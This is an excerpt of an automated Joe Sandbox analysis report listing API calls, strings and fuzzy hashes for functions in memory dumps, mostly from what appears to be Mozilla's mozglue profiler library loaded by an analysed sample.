NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C1FFE3F,00000000,00000000,?,?,00000000,?,6C1FFE3F), ref: 6C22B720
RtlNtStatusToDosError.NTDLL(00000000,000000FF,00000000,00000000,?,0000001C,6C1FFE3F,00000000,00000000,?,?,00000000,?,6C1FFE3F), ref: 6C22B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C1FFE3F,00000000,00000000,?,?,00000000,?,6C1FFE3F), ref: 6C22B760

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0769beb87fa42dab18f9a32204fb480341a5674a5bf722c5d178c79208d828ca
Instruction ID: 912dc7241cf6b5d51fde2fefa543b9abe831c887d19d7562b7ed48bd72641ab3
Opcode Fuzzy Hash: 0769beb87fa42dab18f9a32204fb480341a5674a5bf722c5d178c79208d828ca
Instruction Fuzzy Hash: 59F0C2B1E4021DAEEF019AA5CC84BEFB7BC9B0431EF106229ED56615C0D77895CCCB60

Function 6C22B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C1D03D4,?), ref: 6C22B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C,00000000,?,00000000,?,0000001C,00000000), ref: 6C22B9A5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 041f0ed749caeeb9db06efbb51e7d9556eb12173facf5d380ba4df014337fe1f
Instruction ID: 075b7d8fc475559f6d1ee7e6d8f486c2b33f2d9b6b792bd272c7afc6d099a88e
Opcode Fuzzy Hash: 041f0ed749caeeb9db06efbb51e7d9556eb12173facf5d380ba4df014337fe1f
Instruction Fuzzy Hash: 9541A371E0121D9FDF04CFA9D894ADEB7B6EF88314F14812AE816A7744DB35A845CB90

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 6C2255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C1FE1A5), ref: 6C225606
LoadLibraryW.KERNEL32(gdi32,?,6C1FE1A5), ref: 6C22560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext,?,6C1FE1A5), ref: 6C225633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual,?,6C1FE1A5), ref: 6C22563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling,?,6C1FE1A5), ref: 6C22566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi,?,6C1FE1A5), ref: 6C22567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow,?,6C1FE1A5), ref: 6C225696
GetProcAddress.KERNEL32(00000000,RegisterClassW,?,6C1FE1A5), ref: 6C2256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW,?,6C1FE1A5), ref: 6C2256CB
GetProcAddress.KERNEL32(00000000,ShowWindow,?,6C1FE1A5), ref: 6C2256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos,?,6C1FE1A5), ref: 6C2256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC,?,6C1FE1A5), ref: 6C225716
GetProcAddress.KERNEL32(00000000,FillRect,?,6C1FE1A5), ref: 6C22572F
GetProcAddress.KERNEL32(00000000,ReleaseDC,?,6C1FE1A5), ref: 6C225748
GetProcAddress.KERNEL32(00000000,LoadIconW,?,6C1FE1A5), ref: 6C225761
GetProcAddress.KERNEL32(00000000,LoadCursorW,?,6C1FE1A5), ref: 6C22577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow,?,6C1FE1A5), ref: 6C225793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW,?,6C1FE1A5), ref: 6C2257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW,?,6C1FE1A5), ref: 6C2257BD
GetProcAddress.KERNEL32(?,StretchDIBits,?,6C1FE1A5), ref: 6C2257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush,?,6C1FE1A5), ref: 6C2257EA
GetProcAddress.KERNEL32(?,DeleteObject,?,6C1FE1A5), ref: 6C2257FF

Strings

user32, xrefs: 6C225601
GetDpiForWindow, xrefs: 6C225690
GetWindowDC, xrefs: 6C225710
ShowWindow, xrefs: 6C2256DE
GetMonitorInfoW, xrefs: 6C2257A2
GetSystemMetricsForDpi, xrefs: 6C225677
FillRect, xrefs: 6C225729
MonitorFromWindow, xrefs: 6C22578D
GetThreadDpiAwarenessContext, xrefs: 6C22562D
ReleaseDC, xrefs: 6C225742
CreateWindowExW, xrefs: 6C2256C5
EnableNonClientDpiScaling, xrefs: 6C225666
StretchDIBits, xrefs: 6C2257CC
LoadIconW, xrefs: 6C22575B
gdi32, xrefs: 6C22560A
LoadCursorW, xrefs: 6C225774
DeleteObject, xrefs: 6C2257F9
SetWindowLongPtrW, xrefs: 6C2257B7
AreDpiAwarenessContextsEqual, xrefs: 6C225637
RegisterClassW, xrefs: 6C2256AC
SetWindowPos, xrefs: 6C2256F7
CreateSolidBrush, xrefs: 6C2257E4

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 1ecb34f4d66a13bcee490a8dd5cef66ebe6086c0aabaa7d29a007c2e329512b6
Instruction ID: 0216a4b5304dc6f9eee53f490325cb276408ee615a51fa2bf786322ca95d30b4
Opcode Fuzzy Hash: 1ecb34f4d66a13bcee490a8dd5cef66ebe6086c0aabaa7d29a007c2e329512b6
Instruction Fuzzy Hash: B25121B470171B9BDB01AF39CD4CD2B3AB8AB86649750C435FD11E2A96EBB4C840CF61

Function 6C20CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C1D582D), ref: 6C20CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C1D582D), ref: 6C20CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C23FE98,?,?,?,?,?,6C1D582D), ref: 6C20CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C1D582D), ref: 6C20CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C1D582D), ref: 6C20CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C1D582D), ref: 6C20CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1D582D), ref: 6C20CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C20CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C20CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C20CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C20CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C20CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C20CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C20CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C20CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C20CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C20CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C20CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C20CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C20CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C20CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C20CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C20CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C20CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C20CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C20CEA0
processcpu, xrefs: 6C20CE6E
noiostacks, xrefs: 6C20CCBE
jsallocations, xrefs: 6C20CD0E
preferencereads, xrefs: 6C20CD92
notimerresolutionchange, xrefs: 6C20CE00
samplingallthreads, xrefs: 6C20CE2C
nostacksampling, xrefs: 6C20CD7C
ipcmessages, xrefs: 6C20CDBE
default, xrefs: 6C20CC21
mainthreadio, xrefs: 6C20CC7C
seqstyle, xrefs: 6C20CCE6
leaf, xrefs: 6C20CC66
Q^, xrefs: 6C20CD25
fileioall, xrefs: 6C20CCA8
fileio, xrefs: 6C20CC92
screenshots, xrefs: 6C20CCD4
cpuallthreads, xrefs: 6C20CE16
markersallthreads, xrefs: 6C20CE42
java, xrefs: 6C20CC37
unregisteredthreads, xrefs: 6C20CE58
audiocallbacktracing, xrefs: 6C20CDD4
nativeallocations, xrefs: 6C20CDA8
stackwalk, xrefs: 6C20CCF8
power, xrefs: 6C20CE84

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 07b0ee724097d87ce1b8fa6383bbacc42d14817594905735242a9ac835457533
Instruction ID: 23536a76f146321c4b682dc5a080128b8b8a748de4ddcc64f47997475514fedc
Opcode Fuzzy Hash: 07b0ee724097d87ce1b8fa6383bbacc42d14817594905735242a9ac835457533
Instruction Fuzzy Hash: 025191C6B4523E52FB0431156D10FAB1609EBA3A4BF10653BFD0EA5E84FB04E649C6B7

Function 6C1D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C1D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C1D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C1D482D
__Init_thread_footer.LIBCMT ref: 6C1D484A

Part of subcall function 6C1FAB3F: EnterCriticalSection.KERNEL32(6C24E370,?,?,6C1C3527,6C24F6CC,?,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB49
Part of subcall function 6C1FAB3F: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C3527,6C24F6CC,?,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C1D485F
GetCurrentThreadId.KERNEL32 ref: 6C1D487E
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C1D488B
free.MOZGLUE(?), ref: 6C1D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1D4956
free.MOZGLUE(00000000), ref: 6C1D4960
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C1D499A

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

free.MOZGLUE(?), ref: 6C1D49C6
free.MOZGLUE(?), ref: 6C1D49E9

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C1D4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C1D47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C1D4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C1D4828
[I %d/%d] profiler_shutdown, xrefs: 6C1D4A06

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: f73184cbd850e2413ac3642e98181e1a2be8d7f30f870b660330c089d26672ee
Instruction ID: a97b030730ef8b075006e52d4183a8fee685b417c56214e78a20ee56aee9e694
Opcode Fuzzy Hash: f73184cbd850e2413ac3642e98181e1a2be8d7f30f870b660330c089d26672ee
Instruction Fuzzy Hash: 21813971A001008FDB14EF68C88875A7771BF8632CF164269EE169BB81EB35F854CB96

Function 6C1D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C1D44B2,6C24E21C,6C24F7F8), ref: 6C1D473E
Part of subcall function 6C1D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI,?,?,?,?,6C1D44B2,6C24E21C,6C24F7F8), ref: 6C1D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C1D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C1D44D2
InitOnceExecuteOnce.KERNEL32(6C24F80C,6C1CF240,?,?), ref: 6C1D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C1D455C
LoadLibraryW.KERNEL32(?), ref: 6C1D4592
InitializeCriticalSection.KERNEL32(6C24F770), ref: 6C1D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C1D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C1D45BB
InitOnceExecuteOnce.KERNEL32(6C24F818,6C1CF240,?,?), ref: 6C1D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C1D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C1D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C1D466D
VerSetConditionMask.NTDLL ref: 6C1D469F
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D46AB
VerSetConditionMask.NTDLL(00000000,?,00000004,00000003,?,00000001,00000003), ref: 6C1D46B2
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D46B9
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C1D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C1D46FD

Strings

WRusr.dll, xrefs: 6C1D44B5
NativeNtBlockSet_Write, xrefs: 6C1D46F7
kernel32.dll, xrefs: 6C1D44CD
G$l, xrefs: 6C1D44FC
l, xrefs: 6C1D4578
user32.dll, xrefs: 6C1D4557, 6C1D463F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G$l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3090069362
Opcode ID: 6a7becd084622ef60be0af85c3bd335a3be61b8b8495910c5d83d420e49f9fe6
Instruction ID: 24e63fe58fe10183045784a7e36f9e5ec2b5884a9c53a9d9c3da47ab7d3d8fb2
Opcode Fuzzy Hash: 6a7becd084622ef60be0af85c3bd335a3be61b8b8495910c5d83d420e49f9fe6
Instruction Fuzzy Hash: 966107B06043489FEB15EF60CC4DB9ABBB8EB9630CF05C558ED049B681D774A945CF91

Function 6C1D19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C24F760), ref: 6C1D19BD
GetCurrentProcess.KERNEL32 ref: 6C1D19E5
GetLastError.KERNEL32 ref: 6C1D1A27
moz_xmalloc.MOZGLUE(?), ref: 6C1D1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1D1A4F
GetLastError.KERNEL32 ref: 6C1D1A92
moz_xmalloc.MOZGLUE(?), ref: 6C1D1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1D1ABA
LocalFree.KERNEL32(?), ref: 6C1D1C69
free.MOZGLUE(?), ref: 6C1D1C8F
free.MOZGLUE(?), ref: 6C1D1C9D
CloseHandle.KERNEL32(?), ref: 6C1D1CAE
ReleaseSRWLockExclusive.KERNEL32(6C24F760), ref: 6C1D1D52
GetLastError.KERNEL32 ref: 6C1D1DA5
GetLastError.KERNEL32 ref: 6C1D1DFB
GetLastError.KERNEL32 ref: 6C1D1E49
GetLastError.KERNEL32 ref: 6C1D1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1D1E9B

Part of subcall function 6C1D2070: LoadLibraryW.KERNEL32(combase.dll,6C1D1C5F), ref: 6C1D20AE
Part of subcall function 6C1D2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C1D20CD
Part of subcall function 6C1D2070: __Init_thread_footer.LIBCMT ref: 6C1D20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C1D1F15
VerSetConditionMask.NTDLL ref: 6C1D1F46
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D1F52
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000001,00000003), ref: 6C1D1F59
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D1F6D

Strings

D, xrefs: 6C1D1B57

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: fd541e77603144ee7f78fd0fa466a514eb2181e9528d147bfa7d0d1b7e075f59
Instruction ID: c7053a6f77b892cd0d0482e263ef13228877d677c8ea81b973f4cb620c664a21
Opcode Fuzzy Hash: fd541e77603144ee7f78fd0fa466a514eb2181e9528d147bfa7d0d1b7e075f59
Instruction Fuzzy Hash: 75F18071A007259BEB209F64CC4CBAAB7B4FF59718F124199E909A7680D774ED80CFA0

Function 6C20E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C207090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C20B9F1,?), ref: 6C207107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C20DCF5), ref: 6C20E92D
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C20EA4F
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EA5C
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EA80
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C20EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C20DCF5), ref: 6C20EA92
GetCurrentThreadId.KERNEL32(?,00000000), ref: 6C20EB11
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C20EB3C
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EB5B

Part of subcall function 6C205710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C20EB71), ref: 6C2057AB

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(?,00000000,00000000,?,?,00000000), ref: 6C20EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C20EBAC

